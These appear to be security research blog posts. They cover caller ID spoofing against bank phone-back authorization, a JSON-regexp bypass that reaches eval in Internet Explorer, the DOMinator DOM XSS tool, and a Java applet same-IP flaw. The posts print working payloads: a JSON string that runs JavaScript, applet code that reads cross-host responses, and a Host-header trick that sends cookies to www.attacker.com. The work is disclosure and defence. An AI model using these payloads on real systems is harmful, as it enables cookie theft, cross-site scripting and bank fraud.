3) Is it enough for performing an Identity Spoofing attempt and to breaking authorization security?

Is caller ID Spoofing still alive? To answer the first question, we can say that phone operators are very based on legacy systems. SS7 standard is still adopted and valid, as the calling rules are pretty much the same that were in use at the time that “Lucky 225” was presenting. So yes, Caller Id spoofing is still a valid attack.

Does it work in our country? Unbelievably Yes. Phone operators use to blacklist malicious operators that were known to perform Caller Id Spoofing attacks. This means that it’s possible for an attacker to find a valid voip provider that is not blacklisted to put into place a successful Caller Id Spoofing attack.

Is it enough for breaking authorization security? It Depends. The bank should badly rely only on Caller Id verification which is not a best practice. Caller Id as demonstrated below can be arbitrarily modified, so more information should be requested to correctly identify the customer.

How many banks rely only on Caller ID for the security of their Phone Back authentication system? We do not have precise statistics for Europe, but we tested it against 2 banks and both were vulnerable to this attack.

How the attack works

Imagine that at the time of authorizing your wire transfer your online bank will print the following information on your screen:

At this time if the attacker knows the phone number associated to the customer bank account can place a phone call with a spoofed caller id.

Voip Services offer the possibility to setup your Asterisk voip central and to route call defining your custom caller id.

Normally an attacker should:

1) Have his own virtual server, possibly in the country where the VOIP service is rented
2) Rent a VOIP service that permits to specify an arbitrary caller ID which is not blacklisted by your country Phone operator

However Google helps in finding ready setups as a “pay per go” service.

The following is an example of the service which permits to spoof phone Cal Ids also in Europe and Italy.

To be honest, this search took some time, because a very limited number of “Phone Spoofing” services permit to place phone calls across Europe. Whereas in the United States Caller Id spoofing is somehow tolerated, in Europe is completely illegal.

This service can also be made totally anonymous using Skype and calling directly the Service Phone Number:

A Female voice will ask to enter your user ID, the Number to Call and The Fake User ID


Conclusion

Phone Back authentication systems should be tested against Caller Id Spoofing, because this attack is going to be easier and easier in the future. Caller Id authentication is not secure, other information should be used for securing the transaction, unless a secure handshake is put into place.

Ye Olde Crockford JSON regexp is Bypassable

Introduction

While doing some test with DOMinator I found several sites and applications using the following JSON parse routine:

function jsonParse(string, secure) {
if (secure &&
!/^[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]*$/.test(string.replace(/\\./g, "@").replace(/"[^"\\\n\r]*"/g, ""))) {
return null;
}
return eval("(" + string + ")");
}

or similar.
It turned out that eval function can be reached on IE and execute arbitrary javascript code.
Suppose, in fact, that the JSON String comes from a source like location.hash and consider the following code:

jsonParse(location.hash.slice(1),true);

So far, it was considered safe and, in fact, several javascript libraries use it.

Regexp Analysis

By looking at the regexp, it can be noted that the following string is considered valid:

jsonParse('a')

because of the Eaeflnr-u part with no quotes.

This means that even if the string does not represent a JSON Object it'll be eval'ed.

Once found this behavior, it's important to find window objects that match the regexp.
I did it by executing the following code:

for(var aa in window)
if( aa.match(/^[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]*$/))
console.log(""+aa)

Which resulted in the following window objects:

• self
• status

Hence is possible to reference self["anyobject"]["anyotherobject"] in the eval.

Exploiting JSON Bypass

What's been described so far, shows that, depending on how that result is used, it will be potentially possible to change the flow of inner javascript.

There is more fun if the victim uses Internet Explorer.
According to the wonderful Sirdarckcat and ThornMaker research on Internet Explorer is possible to execute arbitrary JavaScript using the following code:

+{ valueOf: location,
toString: [].join,
0: 'payload',
length: 1
}

So, considering that self object can be used, the following string will be treated as a valid JSON payload:

+{ "valueOf": self["location"],
"toString": []["join"],
0: "javascript:alert(1)",
length: 1
}

This payload bypasses the old Crockford's regexp and will lead to arbitrary JavaScript execution.

Countermeasures and fix

The new json.js uses a brand new regexp which "should" be safe, however it's always better to use json_parse.js which doesn't use eval.

Finally, consider that, even if the JSON parser will work as expected, the attributes and values are not validated so don't trust them!

P.S.
This post doesn't mean that Firefox or other browsers are not exploitable. It's just a matter of time to find some working vector. So if you find it and want to share, leave a comment!

The DOMinator Project

Update : DOMinator goes Pro and is now available at the following here

Finally DOMinator is public!

What is DOMinator?
DOMinator is a Firefox based software for analysis and identification of DOM Based Cross Site Scripting issues (DOMXss).
It is the first runtime tool which can help security testers to identify DOMXss.

How it works?

It uses dynamic runtime tainting model on strings and can trace back taint propagation operations in order to understand if a DOMXss vulnerability is actually exploitable.

You can have an introduction about the implementation flow and some interface description here

What are the possibilities?

In the topics of DOMXss possibilities are quite infinite.
At the moment DOMinator can help in identifying reflected DOM Based Xss, but there is potential to extend it to stored DOMXss analysis.

Download

Start from the installation instructions then have a look at the video.
Use the issues page to post about problems crashes or whatever.
And finally subscribe to the DOMinator Mailing List to get live news.

Video
A video has been uploaded here to show how it works.
Here's the video:


Soon I'll post more tutorials about the community version.


Some stats about DOM Xss

We downloaded top Alexa 1 million sites and analyzed the first 100 in order to verify the presence of exploitable DOM Based Cross Site Scripting vulnerabilities.
Using DOMinator we found that 56 out of 100 (56% of sites) were vulnerable to reliable DOMXss attacks.
Some analysis example can be found here and here.
We'll release a white paper about this research, in the meantime you can try to reach our results using DOMinator.

Future work

DOMinator is still in beta stage but I see a lot of potential in this project.
For example I can think about:

• Dominator library (Spidermonkey) used in web security scanners project
• for automated batch testing.
• Logging can be saved in a DB and lately analyzed.
• Per page testing using Selenium/iMacros.
• A version of DOMinator for xulrunner.
• A lot more

It only depends on how many people will help me in improving it.

So, if you're interested in contributing in the code (or in funding the project) let me know, I'll add you to the project contributors.
We have some commercial ideas about developing a more usable interface with our knowledge base but we can assure you that the community version will always be open and free.

In the next few days I'll release a whitepaper about DOMinator describing the implementation choices and the technical details.

Stay tuned for more information about DOMinator..the best is yet to come.

Acknowledgements
DOMinator is a project sponsored by Minded Security, created and maintainted by me (Stefano Di Paola).
I al want to thank Arshan Dabirsiaghi (Aspect Security), Gareth Heyes and Luca Carettoni (Matasano) for their feedback on the pre-pre-beta version :)

Finally, feel free to follow DOMinator news on Twitter as well by subscribing to @WisecWisec and @DOMXss.

Java Applet Same IP Host Access

Summary
Due to a design issue on the way Java considers Same Origin Policy, it is possible for an attacker controlling a host with the same IP of the victim host, to forge requests to victim host on behalf of a user and read the content of the response.

Analysis
It is known for ever that Java SOP is correlated with the IP of the applet hosting server.

"...
Two hosts are considered equivalent if both host names can be resolved into the same IP addresses; else if either host name can't be resolved, the host names must be equal without regard to case; or both host names equal to null.
..."

That means that differently from other SOP, Java does not take in consideration HostNames but only IPs.
This is what is called a design issue, probably originating from the '90s when the Internet was a more similar to a LAN :).
By taking advantage of this design issue, if an attacker can control at least one host on a virtual server pool (uploading an applet), it will be possible for the attacker to use an applet against a legit user and read every information from the other domains on the same IP.

Specifically, it is possible to forge requests and read HTML response from any other server with the same IP of the host without any further security check.
So let's consider that is possible for an attacker to upload a jar on a virtual host (I.e. an uploading host uploads.vhost.tld or a fully controlled host) which will results in an applet downloadable from the server.
The applet code is the following:

import java.net.*;
import java.util.*;
import javax.swing.*;
import java.applet.*;
import java.util.regex.*;


public class GetFromIP extends Applet{

public void init( ) {
String line;
String content="";
String patternStr = getParameter("regexp") ;
try{
URL f=new URL(getParameter("url"));
HttpURLConnection g=(HttpURLConnection)f.openConnection();
g.setRequestMethod("GET");
g.connect();
java.io.DataInputStream dis = new
java.io.DataInputStream(g.getInputStream());
while((line=dis.readLine())!=null){
content+=line+"\n";
}
g.disconnect();
JTextArea area = new JTextArea(10,20);
add(area);
Pattern pattern = Pattern.compile(patternStr);
Matcher matcher = pattern.matcher(content);
String match="not found";
if( matcher.find())
match = matcher.group();
area.setText(match);
}catch(Exception exc){exc.printStackTrace();}
}
}

What happens is that when Java makes a HttpURLConnection it asks for Cookies to the browser which provides them back to Java except for HttpOnly cookies (this is a publicly known behavior).
After that, even if it seems that is not possible to directly read the cookies from Java, it's still possible to read the html content since there is IP sharing.

Yeah, using TRACE is still possible on non HttpOnly cookies but that method could be disabled on the server side.

This will result in some sort of CSRF (you cannot read cookies) but with read access to the response, allowing the attacker to read for example AntiCSRF tokens and other sensitive data.
The following screenshot is the result of an attack from a malicious user (evil me) to google.com getting information of a logged in user (angel me).


Another interesting attack: Host header.
It is known that is possible to set the Host header on applets using HttpURLConnection:

connection.setRequestProperty("Host", urlUpload.getHost());

The latter, in conjunction to the same IP SOP will create a way to steal cookies as well.
Suppose www.attacker.com is on same IP of www.legit.com and a user is logged in on legit.com site.
A malicious user could then try to let the user to go to a page with the following content.

From www.attacker.com:

f=new java.net.URL("http://www.legit.com"); // allowed since they share IP
g=f.openConnection();
g.addRequestProperty("Host","www.attacker.com"); //allowed since a feature
g.connect();
dis = new java.io.DataInputStream(g.getInputStream());
while((i=dis.readLine())!=null){
log(i);
}

What happens here is that Java asks the browser for www.legit.com cookies and then sends the request to the server which sees the Host header and sends it to the attacker's site stealing the (non HttpOnly cookies).

Moreover it will be possible to add or overwrite cookies from an attacker page by simply setting a cookie in the response header.
That cookie will be passed to the browser which thinks it's a cookie belonging to legit.com.

A big issue
The even more big issue here is that any js controlled site (read Xssable) that resolves to a shared IP hosting is vulnerable to this, since Packages.java* can be used from javascript using JavaScriptProtectionDomain. Now from any browsers as described here.

A side Note
It seems that Roberto Suggi Liverani found the first part of the design vulnerability as well on August and responsibly disclosed to Oracle. It also seems that Oracle were so obscure to not telling him that the issue was already found and reported by me. So you'll find another similiar advisory on the net.

Disclosure Timeline
30th March 2010: Issue found. I think that since it's a design issue probably Oracle will have some objection in fixing it. So I decide to send an attack example to Google.
31st March 2010: Information about the attack sent to Google
1st April 2010: Google says it has to be corrected by Oracle. They can help pushing for a fix.
20th April 2010: Advisory Sent to Oracle
6th May 2010: Oracle Confirms the issue.
6 Apr - 12 Oct 2010: Some Oracle updates and finally the Java release.